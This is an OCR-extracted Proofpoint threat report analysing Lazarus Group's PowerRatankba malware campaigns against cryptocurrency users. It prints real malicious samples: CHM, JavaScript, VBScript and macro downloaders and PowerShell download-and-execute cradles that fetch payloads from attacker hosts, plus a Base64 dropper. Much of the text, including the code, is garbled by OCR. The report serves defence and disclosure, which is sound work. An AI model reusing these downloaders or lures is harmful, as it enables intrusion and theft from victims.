proofpoint.

NORTH KOREA
BIT TEN BY
BITCOIN BUG

FINANGIALLY MOTIVATED CAMPAIGNS
REVEAL NEW DIMENSION OF THE
LAZARUS GROUP

o
Ll
oo
=T
o
Ll
=
T
—

Darien Huss

www.proofpoint.com


http://www.proofpoint.com

TABLE OF CONTENTS

EXECUTIVE SUNMIMARY .....oeueeeeiimiiimiieiiisiissssssssssssssssssmsssssssmssmessssssssassssssssassssssmsssssssssssessessssssssssssssssssanssnsnsssnsnessesssssssssasssssnsnnnn 3
OVERVIEW.......ooieiiiciiieissssssssssssssssssssnssess s s s se s s s essassasssssssssssssssmsssnssnnnennesennsasasssssssssnssmnnmnnnsnnnnnnsenssesansssssssssssnnnnnnnnnnnnnnnnsnnnnsnnnnnn 4
INTRODUGCTION ....ccicciiecsnmmemmmmeresrresrssssssssssssssssssssssmssssssssssssssssssssassssssssssssnnsnssssnssssssnssesssssssssssssssnnnmnnnnnnsnnnnesssnsssssssssssssansnnn 4
PowerRatankba DOWRNIOAETS ..........ccccueemmiiiiiiiseieinriisssss s s s s Eaa s m R e e e R e e e an R e e e e eanannn 5
CamMPAIGN TIMEIINE .. e 5
POWEBTISIIIIIZ ..ot 6
WINAOWS SNOMCUL (LINK) ... ettt 8
Microsoft Compiled HTML HEID (CHMY) ... 9
JaVvaSCrIPE DOWNIOAAETS ... ..ot ettt 11
VBScript Macro Microsoft Office DOCUMENTS ... c..viiiiie e 13
Backdoored PyInstaller APPICATIONS ........oiiii i 15
Implant Description and ANAIYSIS ........ccooiiiiriiiirisssisssssssssssssssssssssssssssssssnsssnsssnnssmnssmnssmmssmmssmmssnmssnmnsnmssnmssnnnsnnssnnnnnnnes 18
POWErRATANKIDA DESCIIDHION. ... i e et 18
PowerRatankba. A C&C DESCHIPTION. ... ...ttt 19
PowerRatankba.B C&C DESCIIDION ... ..iiiiiiii et 20
PowerRatanKkba PEISISTENCE .........c.iiiii e 20
PowerRatankba.B Stage?2 - GROST RAT ...t 21
GNOST RAT PUIMDOSE. ... et 23
Shopping Spree: Enter RatankbaPOS ... ... 23
RaAtANKDAPOS ANGIYSIS ... vviiii i e 23
RatankbaPOS Targeted REGION ... ....iiiiiii e 28
F N ] o1V Lo T (o TN IR = 1T T o T U o 28
B Ty D IO L. e 28
OBTUSCALION ...t 30
FUNCHONAIITY ..o ettt 30
COAE OVETIAD ..o 31
DB COYS e 32
G e 32
L0 110 01 0 33
RESEAICH CONIMDULIONS ... 33
Indicators of COMPrOMISE (IOCS) ... it 34
ET and ETPRO Suricata/Snort SIGNATUIES ........o.iii et 37

NORTH KOREA BITTEN BY BITCOIN BUG 2



EXECUTIVE SUMMARY

With activity dating at least to 2009, the Lazarus Group has consistently ranked among the most disruptive, successful,
and far-reaching nation-state sponsored actors. The March 20, 2013 attack in South Korea, the Sony Pictures hack in 2014,
the successful theft of $81 million from the Bangladesh Bank in 2014, and perhaps most famously this year's WannaCry
ransomware attack and its global impact have all been attributed to the group. The Lazarus Group is widely accepted as
being a North Korean state-sponsored threat actor by numerous organizations in the information security industry, law
enforcement agencies, and intelligence agencies around the world.

The Lazarus Group’s arsenal of tools, implants, and exploits is extensive and under constant development. Previously,
they have employed DDoS botnets, wiper malware to temporarily incapacitate a company, and a sophisticated set of
malware targeting the SWIFT banking system to steal millions of dollars. In this report we describe and analyze a new,
currently undocumented subset of the Lazarus Group’s toolset that has been widely targeting individuals, companies, and
organizations with interests in cryptocurrency.

Threat vectors for this new toolset, dubbed PowerRatankba, include highly targeted spearphishing campaigns using

links and attachments as well as massive email phishing campaigns targeting both personal and corporate accounts of
individuals with interests in cryptocurrency. We also share our discovery of what may be the first publicly documented
instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data, again using a variant
of malware that is closely related to PowerRatankba.
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OVERVIEW

The Lazarus Group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the
increasing interest and skyrocketing prices for cryptocurrencies. Proofpoint researchers have uncovered a number of
multistage attacks that use cryptocurrency-related lures to infect victims with sophisticated backdoors and reconnaissance
malware. Victims of interest are then infected with additional malware including GhOst RAT to steal credentials for
cryptocurrency wallets and exchanges, enabling the Lazarus Group to conduct lucrative operations stealing Bitcoin and
other cryptocurrencies. We also discovered what appears to be the first publicly documented instance of a nation-state
targeting a point-of-sale related framework for the theft of credit card data in a related set of attacks. Moreover, the timing of
the point-of-sale related attacks near the holiday shopping season makes the potential financial losses considerable.

INTRODUCTION

It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency
companies and exchanges. From these breaches, law enforcement agencies suspect that the group has amassed nearly
$100 million worth of cryptocurrencies based on their value today. We hypothesize that many of these previously reported
operations targeting cryptocurrency organizations have actually been conducted by the espionage team of the Lazarus
Group based on evidence we provide in the Attribution section. Further, we assess that until today, many of Lazarus
Group’s traditional financially motivated team have remained largely in the shadows as they conduct these operations
adding to their already impressive stockpile of various cryptocurrencies.

Several watering hole attacks targeting the banking and financial industries that occurred at the end of 2016 and beginning
of 2017 utilized a first stage downloader implant dubbed Ratankba. During those incidents, Lazarus Group primarily used
Ratankba as a reconnaissance tool, described by colleagues at Trend Micro as a utility to “survey the lay of the land.” In
this research we detail a new implant dubbed PowerRatankba, a PowerShell-based malware variant that closely resembles
the original Ratankba implant. We believe that PowerRatankba was likely developed as a replacement in Lazarus Group’s
strictly financially motivated team’s arsenal to fill the hole left by Ratankba’s discovery and very public documentation
earlier this year.

In this report, we first provide a brief timeline of events related to the malicious activity. Next, we describe the various
delivery methods that Lazarus Group utilized to infect victims with PowerRatankba (Fig. 1). We then detail the inner
workings of PowerRatankba and how it is utilized to deliver a more fully capable backdoor to interesting victims (Fig. 1).
Following that, we share details on a new and emerging threat targeting the South Korean point-of-sale industry that we
have dubbed RatankbaPQOS (Fig. 1). Finally, we explain our high-confidence attribution to Lazarus Group.
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Figure 1: Flow of PowerRatankba activity from victims to the Lazarus Group operators

POWERRATANKBA DOWNLOADERS

In this section we will detail each of the different attack vectors and campaigns we have discovered that eventually lead to
the delivery of PowerRatankba. In total we have discovered six different attack vectors:

* A new Windows executable downloader dubbed PowerSpritz

* A malicious Windows Shortcut (LNK) file

 Several malicious Microsoft Compiled HTML Help (CHM) files using two different techniques
* Multiple JavaScript (JS) downloaders

* Two macro-based Microsoft Office documents

* Two campaigns utilizing backdoored popular cryptocurrency applications hosted on internationalized domain (IDN)
infrastructure to trick victims into thinking they were on a legitimate website

CAMPAIGN TIMELINE

The campaigns discussed in this research began on or around June 30th, 2017. According to our data those campaigns
were highly targeted spearphishing attacks targeting at least one executive at a cryptocurrency organization to deliver a
PowerRatankba.A variant. All other campaigns utilized PowerRatankba.B variants. We currently have no visibility into how
the LNK, CHM, and JS campaigns were delivered to users, but given common Lazarus modus operandi, we can speculate
that they may have been delivered through attachments or links in emails. We gained visibility again during the massive
email campaigns utilizing BTG- and Electrum-themed applications to ultimately deliver PowerRatankba. The timeline below
illustrates the exact dates of campaigns where we are aware of them. Where exact dates are unknown, we based estimates
on first campaign observations and metadata (Fig. 2).
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Figure 2: Timeline of campaigns ultimately related to PowerRatankba

POWERSPRITZ

PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using

a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for
additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via
spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the
malicious PowerSpritz payload. In early July 2017 an individual on Twitter shared an attack they observed targeting them
(Fig. 3) utilizing a fake Skype update lure to trick users into clicking on a link to hxxps://skype.2[.Jvu/1. The TinyCC link
redirected to a server that, at the time, would have likely returned a PowerSpritz payload: hxxp://201.211.183[.]215:8080/
update.php?t=Skype&r=update

Microsoft Skype Patched Critical Exploit. Update to v7.37. Inbox  x &
Skype <SkypeUpdate@outiook.com> 2:19 PM (6 minutes ago) o
to info [~

™ images are not displayed. Display images below - Always display images from SkypeUpdate@outlook.com

nt line

How do | update Skype?

Select the Update Now button to download, install and sign in to the latest version of Skype.

Update Now

Figure 3: PowerSpritz spearphishing email shared on Twitter by @LeoAW, abusing Skype name and branding
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We have since discovered three additional TinyCC URLs utilized to spread PowerSpritz: one with a Telegram theme (hxxp://
telegramupdate.2[.Jvu/5 -> hxxp://122.248.34[.]23/Index.php?t=Telegram&r=1.1.9) and two more with Skype theme
(hxxp://skypeupdate.2[.]vu/1 -> hxxp://122.248.34[.]23/Index.php?t=SkypeSetup&r=mail _new and hxxp://skype.2[.]vu/k
-> unknown). Some of the PowerSpritz payloads were previously hosted on Google Drive; however, we were unable to
determine if that service was actually used to spread the payloads in-the-wild (ITW).

PowerSpritz decrypts a legitimate Skype or Telegram installer using a custom Spritz implementation with the key “Znxkai@
if8qa9w9489”. PowerSpritz then writes the legitimate installer to disk in the directory returned by GetTempPathA either as
a hardcoded filename such as SkypeSetup.exe or, in some versions, as the filename returned by GetTempFileNameA.
The installer is then executed to trick the potential victim into thinking they downloaded a legitimate, working application
installer or update. Finally, Spritz uses the same key to decrypt a PowerShell command that downloads the first stage of
PowerRatankba (Fig. 4). All three PowerSpritz samples we discovered executed the identical PowerShell command.

[+] Decoded PowerShell:

function HttpRequestFunc

[System.Net .WebRequest]

if (sWebRequest -eq

Throw 'WebRequest
1

Figure 4: Script output showing PowerSpritz PowerShell encoded and decoded command
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As shown in the above decoded script (Fig. 4), PowerSpritz attempts to retrieve a payload from hxxp://dogecoin.
deaftone[.Jcom:8080/mainls.cs that is expected to be a Base64-encoded PowerShell script. After decoding mainls.cs,
a PowerRatankba.A implant is revealed (Fig. 5) with hxxp://vietcasino.linkpc[.]Jnet:8080/search.jsp as its command and
control (C&QC).

$BaseServer = 'http://vietcasino.linkpc.net:8080/search.jsp’;
$BaselUri = '';

$tNuml = Get-Random -Maximum 999999 -Minimum 100000;

$tNum2 = Get-Random -Maximum 999999 -Minimum 100000;
[intB4]$tNum = ($tNuml * 1000000) + $tNum2;

SUID = [convert]::ToString($tNum, 10);

$psversion = $PSVersionTable.PSVersion.Major;

$global:injectionErrorCode =
$global:cmdRes = 0;

Figure 5: PowerSpritz retrieving Base64-encoded PowerRatankba

WINDOWS SHORTCGUT (LNK)

A LNK masquerading as a PDF document was discovered on an antivirus
scanning service. The malicious “Scanned Document Part 1.pdf.Ink”

LNK file, along with a corrupted PDF named “Scanned Document Part
2.pdf,” were compressed in a ZIP file named “Scanned Documents.zip”
(Fig. 6). Itis unclear if the PDF document was tampered with intentionally
to increase the chances a target would open the malicious LNK or if the

[ -

|
m -

= A

|

Scanned Scanned Scanned actor(s) unintentionally used a corrupted document. We currently are not
D°c”1'“:;‘]f i D°°”g‘:gft Pat  Documentszip | 4\yare of how the LNK or compressed ZIP files were utilized ITW.
The malicious LNK uses a known Applocker bypass to retrieve its
t ' payload from a TinyURL shortener link hxxp://tinyurl[.]Jcom/y9jbk8cg (Fig.

7). This shortener previously redirected to hxxp://201.211.183[.]215:8080/
Ink pdf. Zip pdfviewer.php?0=0&t=report&m=0 . At the time of analysis the C&C

' . server was no longer returning payloads. However, the same IP was
used in the PowerSpritz campaigns. Based on the same C&C usage

and similar URI structure, we assess with low confidence that the LNK
Figure 6: ZIP file with decompressed campaign would have delivered PowerRatankba via PowerSpritz.
malicious LNK and corrupted PDF

Figure 7: Malicious LNK AppLocker bypass to retrieve payload
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MICROSOFT COMPILED HTML HELP (CHM)

Several malicious CHM files were uploaded to a multi antivirus scanning service in October, November, and December. We
inspected the compressed ZIP metadata to better understand the likely chronological order in which the CHMs were used.

Unfortunately we have been unable to determine how these infection attempts were delivered to victims ITW. The themes of
the malicious CHMs include:

* A confusing, poorly written request for assistance with creating a website with possible romantic undertones (Fig. 8-1)
* Documentation on a blockchain technology called ALCHAIN from Orient Exchange Co. (Fig. 8-2)

* Arequest for assistance in developing an initial coin offering (ICO) platform (Fig. 8-3)

* White paper on the Falcon Coin ICO (Fig. 8-4)

* Arequest for applications to develop a cryptocurrency exchange platform (Fig. 8-5)

* Arequest for assistance in creating an email marketing tool (Fig. 8-6)
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Project Description

We have marketing team and they have to send thousands of emails a day
What we to do, is create smtp sever and sending emai using that
This is really traditional way of work, and we need to more flexible and effective way of sending

So We want a programme which can send emai as follow requirement

User will point the subject, sender's name, sender's emall address, receiver's address, mail
content

Here, programme will automatically get receiver's address from config file in same foider.
Mail content should be text or htmi format
We don't care what kind of solution you use, just we need success.

FALCON COIN" o

Overview & Wivto Paper

9 ) a~<(EdH the text to change this template )

e o
Figure 8: CHM lures utilized in attempts to deliver PowerRatankba

All of the CHM files use a well-known technique to create a shortcut object capable of executing malicious code and then

causing that shortcut object to be automatically clicked via the “x.Click();” function. Two different methods were used
across the CHMs to retrieve the malicious payload.

The first method uses a VBScript Execute command and BITSAdmin tool to download a malicious VBScript file (Fig.
9). The payload is downloaded (Fig. 10) from hxxp://www.businesshop[.]net/hide.gif and saved to C:\windows\temp\
PowerOpt.vbs. Once the downloaded VBScript (Fig. 10) is executed, it will attempt to download PowerRatankba from
hxxp://158.69.57[.]135/theme.gif, saving the expected PowerShell script to C:\Users\Public\Pictures\opt.ps1.
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< name="Iteml B=" , 3 f :Exec : C nd, commandl:command =
""bitsadmin ransf /downlo: rity normal http w.businesshop.net/hide.gif

indow < / C C \windows\te PowerOpt.vbs"":set shell =
cript.Shell""):shell.Run command,®,true:shell.Run commandl,®:close")'>

Figure 9: Malicious code embedded in CHM to download a VBScript PowerRatankba downloader

HEAD /hide.gif HTTP/1.1
Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity
User-Agent: Microsoft BITS/7.5
Host: www.businesshop.net

HTTP/1.1 260 OK

Server: Apache-Coyote/1.1

Accept-Ranges: bytes

ETag:

Last-Modified: Fri, 27 Oct 2017 10:13:24 GMT
Content-Type: image/gif

Content-Length: 1980

Date:

GET /hide.gif HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Fri, 27 Oct 2017 10:13:24 GMT
User-Agent: Microsoft BITS/7.5

Host: www.businesshop.net

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Accept-Ranges: bytes

ETag:

Last-Modified: Fri, 27 Oct 2017 10:13:24 GMT
Content-Type: image/gif

Content-Length: 1980

Date: °

Dim shell, command
HTTPDownload "http://158.69.57.135/theme.gif", "C:\\Users\\Public\\Pictures\‘\opt.psi"

Figure 10: BITSAdmin retrieving malicious payload over HTTP
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"clsid:adb880ab-d8ff-11cf-9377-002a003b7all" width=1 height=1>
hortCut">
="Bitmap::short
L ,mshta , t:Execute("Dim shell, command:command = ""power
utionPol ) - -NoProfile -Command IEX (New-Object
t) .Downl String(*http o L .gif*)"":command=Replace(
command,""*"" ,Chr(39)):set shell = C ( cr ) :shell.Run command

: ,vbscript:Execute("Dim shell,command:command = ""powershell.exe
Hidden tionPol ss -NoLogo -NoProfile -Command I i-Object
Net.We 1t) .Downl ring(*htt .168.1 /pso.psl HET)] ep (
command, ""*"" ,Chr(39)):set shell = CreateObject(""WScript.Shel :shell.Run command,®:close")'>

Figure 12: Leftover code in 5_6283065828631904327.chm

As a final note on the CHM campaigns, the following three samples contain an email address of either robert mobile@
gmail[.Jcom or robert_ mobile@mail[.]Jcom, which we assess with some confidence are related to the threat actor:

e 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01
* 6¢cb1e9850dd853880bbaf68ea23243bac9c430di576fale679d7f26056785984
* 9d10911a7bbf26f580b5e39342540761885422b878617{864bfdb16195b7cd0f5

JAVASCRIPT DOWNLOADERS

Throughout November several compressed ZIP files containing a JavaScript (JS) downloader were observed being hosted
on likely attacker-controlled servers. We are not currently aware if or how these files were delivered to potential victims. The
naming of the files and the decoy PDF documents they retrieve provide some clues about the nature of the lures. Themes
include the cryptocurrency exchanges Coinbase and Bithumb, the Falcon Coin ICO, and a list of Bitcoin transactions.

Each JavaScript downloader is obfuscated (Fig. 13) using JavaScript Obfuscator (see Attribution section for additional
analysis) or a similar tool. After de-obfuscating (Fig. 14), the logic of the malicious downloader is very straightforward. First,
an obfuscated PowerRatankba.B PowerShell script is downloaded from a fake image URL such as: hxxp://51.255.219[.]82/
theme.gif. Next, the PowerShell script is saved to C:\Users\Public\Pictures\opt.ps1 and then executed.
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https://www.coinbase.com/?locale=en
https://www.bithumb.com/
https://falconcoin.co/home
https://javascriptobfuscator.com/Javascript-Obfuscator.aspx

B0x965b=["

6E\ x4 4C\ x4 2091 ; on ge nDir(){var 0xd818x2- ActiveXObject(_0x965b[0]);var _0xd818x3
_Bxd818x2. nt ( 0x965b[ ]J 0xd818x4 0 x3( Ox965b[2]) 0xd818x3( 6x965b[3]) Ox965b[4];
0xd818x4}func ) efile( Oxd818x6, «8){var ©xd818x9 Actlvexob]ectt 0x965b[ 1); ©xd818x9[
0x965b[6]1]( ©xd818x6 0x965b[ ] 0xd818x7 0xd818x8 lse)}function dfile(u Ox( {“~' Bxd818xc
ActiveXObject(_0x965b[7]); ©6xd818xc[_©x965b[2]]( Ox965b[ ],url,‘ A Oxd818xc[ Ox965b[ ]] var 0xd818xd
ActiveXObject( ©x965b[11]); ©xd818xd[ ©x965b[12]]- 1; @xd818xd[ 0x965b[2]]1(); ©xd818xdI 0x965b[.v]]E
Oxd818xc[ 0x965b[13]1]); ©xd818xd[ ©x965b[15]1]1( ©6xd818x6,2); 0xd818xd[ ©x965b[16]1]1()}function epsol(){var
0xd818xf ActiveXObject( 0x965b[17]);var _0xd818x10 ex%sb[;] 0xd818xf.ShellE ute( Ox965b[19],
0xd818x10) }var url=_0x965b[20];dfile(url,_©x965b[21]);epsol(); fname _0x965b[22];var urlPDF-_0x965b[231;
dfile(urlPDF,getDownDir()+ fname);efile(getDownDir()+ fname, Gx965b[ 81,3, 1 )} (e){efile( Ox965b[25],
0x965b[26]1+ getDownDir()+ fname,1)} B

getDownDir() {

CEGENE: ActiveXObject("WScript.Shell");

0xd818x3 0xd818x2.Environment ("Process");

0xd818x4 0xd818x3 ( "HOMEDRIVE") Ox x3 ("HOMEPATH") "\\Downloads";
OxdB818x4

iction efile( Oxd818x6, Oxd818x7, 0Oxd818x8) {
var 0xd818x9 ActiveXObject("WScript.Shell");
0xd818x9["run"]( 0xd818x6 2o 0xd818x7, ©xd818x8,

iction dfile(url, Oxd818x6)
var _0xd818xc ActlveXObJect( "MSXML2.ServerXMLHTTP.6.0");
0xd818xc["open"]("GET", url, f );
0xd818xc["send"1();
var Oxd818xd ActiveXObject("ADODB.Stream");
0xd818xd["type"] 1;
0xd818xd["open"]();
0xd818xd["write"](_0xd818xc["responseBody"]);
0xd818xd["saveToFile"]( ©6xd818x6, 2);
0xd818xd["close"]1()

on epso() {
: Oxd818xf ActiveXObject("Shell.Application");
var _Bxd818x10e vbscript:Execute("Dim shell, command:command = ""powershell.exe -ep Bypass -file C:\\Users
Public\\Pictures\\opt.psl"":set shell = CreateObject(""WScript.Shell""):shell.Run command,®:close’;
0xd818xf.ShellExecute("mshta.exe"”, ©xd818x10)

http:fﬁ51.255.219.82/theme.g1f“;
"C:\\Users\\Public\\Pictures\\opt.psl");

Falconcoin.pdf";
"http://51.255.219.82/files/download/falconcoin.pdf";

d ge fname) ;
»T-W~[x»tDw\rD r() fname " false)
(e) {
efile("rundl1l32.exe", "shell32.dll,0OpenAs RunDLL " getDownDir()

Figure 14: Deobfuscated falconcoin.js revealing PowerRatankba and decoy PDF URLs

The last step in execution is to retrieve the decoy PDF from hxxp://51.255.219].182/files/download/falconcoin.pdf and open
it using rundll32.exe and shell32.dll,0penAs_RunDLL (Fig. 15-1). Samples using Coinbase and Bithumb themes also
downloaded PDF decoys (Fig. 15-2,15-3). Additionally we discovered that the content from the Coinbase decoy has been
used in Lazarus group-attributed espionage campaigns (see Attribution for more details).
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Figure 15: Decoys downloaded or sent along with PowerRatankba JavaScript downloaders

VVBSCRIPT MACRO MICROSOFT OFFICE DOCUMENTS

Two VBScript macro-laden Microsoft Office documents have been observed associated with this activity: one Word
document and one Excel spreadsheet. The Word document (b3235a703026b2077ccfa20b3dabd82d65c6b5645f7f1
5e7bbad1ce8173c7960) uses an Internal Revenue Service (IRS) theme and was sent as an attachment named “report
phishing.doc”. The spearphishing email was sent from an @mail.com address with the subject of “Phishing Warnning”[sic
Ironically, the sender email address was spoofed as phishing@irs.gov (Fig. 16) while the content of the lure (Fig. 17) was
likely copied from an official IRS webpage.

[l

Figure 16: Spearphishing email spoofed sender

@mail.com on behalf of | -4 subject

IRS <phishing@irs.gov>
Phishing Warnning

What s phishing? Figure 17: IRS themed Word document PowerRatankba
Phishing i icall ied solici il and/or websil

Poso 5 ot cs 2 e Unouspecing s 1o provie porsona and nancl downloader

information.

Report all unsolicited email claiming to be from the IRS or an IRS-related function
to phishing@irs.gov. If you've experienced any monetary losses due to an IRS-related

incident, ple: rt it to the T | tor Ger | Administration (TIGTA) and _ Tl
'ﬁ';;;C"Wfp‘;;:fmh;f:d;—W—m—(T—ll%?q;mm;;n(Ff';gmfgg;"mgom 2TA)a The IRS-themed malicious document uses a macro
possiont jomeks the © to download a PowerRatankba VBScript from

NOTE: Please refer to Contact the IRS if you have a tax question not related to phishing

oridenty theft hxxp://198.100.157[.]1239/hide.qif (Fig. 18), save it to C:\
Users\Public\Pictures\opt.vbs, and execute it with wscript.

ALERTS: exe. It in turn downloads the PowerRatankba.B from
e hxxp://198.100.157[.]239/theme.gif, saving the downloaded

« Tax Scams / Consumer Alerts

payload to C:\Users\Public\Pictures\opt.ps1, and finally

executing it with powershell.exe.
What to do if you receive a suspicious IRS-related

communication
If Then
You receive Don't reply.
an email claiming to be L Don't open any attachments.
from the IRS that can contain malicious code that may infect
contains a request for your computer or mobile phone.
personal information, ) Don't click on any links. Visit
taxes associated with a our identity protection page if you clicked
large investment, on links in a suspicious email or website
inheritance or lottery. and entered confidential information.
Forward the email as-is to us
at phishing@irs.gov. Don't forward
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Set shell = CreateObject("WScript.Shell")
HTTPDownload "http://198.100.157.239/hide.gif", "C:\\Users\\Public\\Pictures\\opt.vbs"

command = "wscript.exe C:\\Users\\Public\\Pictures\\opt.vbs"

shell.Run command, ©

Figure 18: IRS-themed malicious document macro

The second malicious Office document we discovered is an Excel spreadsheet named bithumb.xls. It uses a Bithumb lure
(Fig. 19) and includes stolen branding. The spreadsheet was found compressed in a ZIP file named Bithumb.zip along with
a decoy PDF document named “About Bithumb.pdf” (Fig. 20).

A B c D E F G H I J K I M N o] P Q R S
sdct nguage: [engun (7]
1 b é nglis| |
® vithumo
2
3 BTCKorea is operating Bithumb.com, the Largest Bitcoin Exchange in Korea
4
5 Since established in January 2014, No.1 in bitcoin market in Korea, occupying 60% of bitcoin trade.
6
7 Based on advanced blockchain technology and fintech service.
8
9 Bithumb Index
10
1 Average daily transaction 12000BTC
12 Market Occupation 60~70%
13 Transaction Amount in January 2017 300 milion USD$
14 Accumulated Amount 3500 milion USD$
15 Accumulated deposit amount 78 milion USD$
16 No.1 among Korean exchanges
17
18 2014 2015 2016
19 Market strategy Revenue/Profit Model Blockchain fintech
20 5 Aggressive Marketing % Stable service = Enhanced blockchain technology
21 = 24/7 Support E Diversified Sales Model A Money transfer service using blockchain
22 = Develop new services = Develop blockchain service = Activated bitcoin payment

Figure 19: Malicious Bithumb Excel spreadsheet with English option shown, with stolen branding

ExisCisthin Summmany
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3 fr LT |
=
-
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BusE I:“':li"l"l r:Ir'-"l'ﬂ'h.l--\ul

Figure 20: “About Bithumb.pdf decoy” document inside Bithumb.zip archive, with stolen branding

The Excel spreadsheet contains a macro with an embedded Base64-encoded PowerRatankba VBScript downloader
(rather than retrieving it from a C&C using HTTP (Fig. 21)). The embedded VBScript is first dropped to disk at c:\Users\
Public\Documents\Proxy.vbs and then executed using wscript.exe. The dropped VBScript file is configured to download
PowerRatankba from hxxp://www.energydonate[.Jcom/images/character.gif while saving the downloaded payload to C:\
Users\Public\Documents\ProxyAutoUpdate.ps1.
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strContentl = "RGLtIHNoZWxsLGNvbW1lhbmQNCkhUVFBEb3dubG9hZCAiaHROcDovL3d3dy51bmVyZ31kb25h" &
"dGUuY29tL21tYWdlcy9jaGFyYWNOZXIuZ21mIiwgIkM6XFxVc2VyclxcUHVibGLjXFXEb2N1" &
"bWVudHNcXFByb3h5QXVOb1VwZGFOZS5wczEiDQoNCIN1YiBIVFRQRGO3bmxvYWQoIG1SVVIM" &
"LCBteVBhdGggKQOKIyBUaGlzIFN1YiBkb3dubG9hZHMgdGh1lIEZITEUgc3BlY2lmaWVkIGlu" &
"IG15VVIMIHRVIHR0ZSBwYXRoIHNwZWNpZml1ZCBpbiBteVBhdGguDQonDQonIG15VVIMIGI1" &
"c3QgYWx3YX1zIGVuZCB3aXRoIGEQZmlsZSBuYW11DQonIG15UGFOaCBtYXkgYmUgYSBkaXil" &
"Y3Rvcnkgb3IgYSBmaWx1IG5hbWU7IGluIGVpdGhlciBjYXNLIHRoZSBkaXJ1Y3RvcnkgbXVz" &
"dCBleGlzdAOKIwOKIyBXcmlO@dGVUIGI5IFIvYiB2YW4gZGVyIFdvdWR1DQonIGhOdHABLY93" &
"d3cucm9idmFuzZGVyd291ZGUuY29tDQonDQonIEIhc2VkIG9uIGEgCc2NyaXBOIGZvdWSkIGOu" &
"IHROZSBUaGFpIFZpc2EgQZm9ydwWONCicgaHROcDovL3d3dy50aGFpdmlzYS5jb20vZmoydwev” &
"aWskZXgucGhwP3Nob3deb3BpYz0yMTgzMgOKDQogICAglyBTdGFUZGFyZCBob3VzZWt1ZXBp" &
"bmcNCiAgICBEaw@gaSwgb23qRmlsZSwgb2JqRINPLCBVYmpIVFRQLCBzZdHIGaWx1LCBzdHIN" &
"c2cNCiAgICBDb25zdCBGb31SZWFkaw5nIDOgMSwgRmOyV3IpdGluZyA9IDISIEZvckFwcGVu" &
"ZGluZyA9IDgNCgOKICAGICcgO3I1YXRLIGEGRMLSZSBTeXNOZWOgT21qZWNODQogICAQU2Ve" & _
"1G9iakZTTyA9IENYZWFOZU9iamVjdCggI1NjcmlwdGluZySGawx1U31zdGVtT2IqZWNOIiAp" &
"DQoNCiAgICANIENOZWNrIGImIHR0ZSBzcGVjaWZpZWQgdGFyZ2VeIGZpbGUgh3IgZmasZGVy"

strContent2 = "IGV4aXNO@cywNCiAgICANIGFuZCBidWlsZCBO®aGUgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2Yg"
"dGh1IHRhcmdldCBmaWx1DQoJSWYgb2JqRINPLkZpbGVFeGlzdHMoIG15UGFOaCApIFROZWAN"
"CgkJRXhpdCBTdWINCg1FbmQgSWYNCgkNCiAgICBIZiBvYmpGUOBURMISZGVyRXhpc3RzKCBt"
"eVBhdGggKSBUaGVuDQogICAgICAgIHNOckZpbGUgPSBYYmpGUeSuQnVpbGRQYXRoKCBteVBh"
"dGgsIE1pZCggbX1VUkwsIELuU3RyUmMV2KCBteVVSTCwgIi8iICkgKyAxICkgKQOKICAQIEVS"
"c2VIZiBvYmpGUOBuURM9sZGVyRXhpc3RzKCBMZWZOKCBteVBhdGgsIELuU3RyUmV2KCBteVBh"
"dGgsICIcIiApICOgMSApICkgVGhlbgOKICAQICAgICBzdHIGaWx1IDOgbX1QYXRoDQogICAg"
"RWxzZQOKICAgICAQICBFeGlOIFN1YgOKICAgIEVUZCBIZgOKDQogICAglyBDcmVhdGUgb3Ig"”
"b3B1biB0aGUgdGFyZ2VOIGZpbGUNCiAgICBTZXQgb2I1gRmlsZSA9IG91iakZTTy5PcGVUVGV4"
"dEZpbGUoIHNOckZpbGUsIEZvcldyaXRpbmcsIFRydWUgKQOKDQogICAglyBDcmVhdGUgYw4dg"
"SFRUUCBvYmplY3QNCiAgICBTZXQgb2JqSFRUUCASIENYZWFOZU9iamVjdCggIldpbkhedHAu"
"V21uSHROCFI1cXV1c3QuNS4xIiApDQoNCiAgICANIERvd255b2FkIHR0ZSBzCGV]jaWZpZwQg"”
"VVIMDQogICAgb2]qSFRUUC5PcGVUICIHRVQiLCBteVVSTCwgRmFsc2UNCiAgICBvYmpIVFRQ"
"L1N1bmQNCgBKICAgQICcgV3JpdGUgdGhlIGRvd255b2FkZWQgYn10ZSBzdHI1YWegdG8gdGhl "
"IHRhcmd1dCBmawWx1DQogICAgRmIyIGkgPSAXIFRVIEXx1bkIoIG9iakhUVFAUUMVZCcGOuc2vVC"
"b2R5ICKNCiAgICAgICAgb21qRmlsZS5Xcm10ZSBDaHIoIEFzY®IoIE1pZEIoIG9iakhUVFAU"
"UmVzcG9uc2VCb2R5LCBpLCAXICkgKSApDQogICAgTMV4dABKDQogICAglyBDbG9ZZSBAaGUg"
"dGFyZ2VeIGZpbGUNCiAgICBvYmpGaWx1LkNsb3N1KCApDQpFbmQgU3ViDQoNCmNvbw1hbmQg"
"PSA1cG937ZXJzaGVsbC51leGUgLVdpbmRvd1NB@eWx 1 IEhpZGR1biAtZXAgONlwYXNZIC10bOxV"
"Z28gLUSVUHIVZMLSZSAtZmlsZSBDOLxcVXNLcnNcXFB1YmxpY1xcRG9jdwllbnRzXFxQcm94"”
"eUF1dG9VcGRhdGUucHMxIgOKc2VOIHNoZWxsIDOgQ3I1LYXR1T2IqZWNOKCIXU2NyaXBOLLNo"
"ZWxsI1ikNCnNoZWxsL1J1biBjb21tYW5kLDA="

strContent = strContentl + strContent2

strContent = Base64Decode(strContent)

Set objFileToWrite = CreateObject("Scripting.FileSystemObject").0OpenTextFile("c:\\Users\\Public\\

Documents\\Proxy.vbs", 2, True)

objFileToWrite.Write (strContent)

objFileToWrite.Close

PpRrRpRpRrRRRRRRRRRRRRRRR

command = "wscript.exe c:\\Users\\Public\\Documents\\Proxy.vbs"
Set shell = CreateObject("WScript.Shell")
shell.Run command, ©

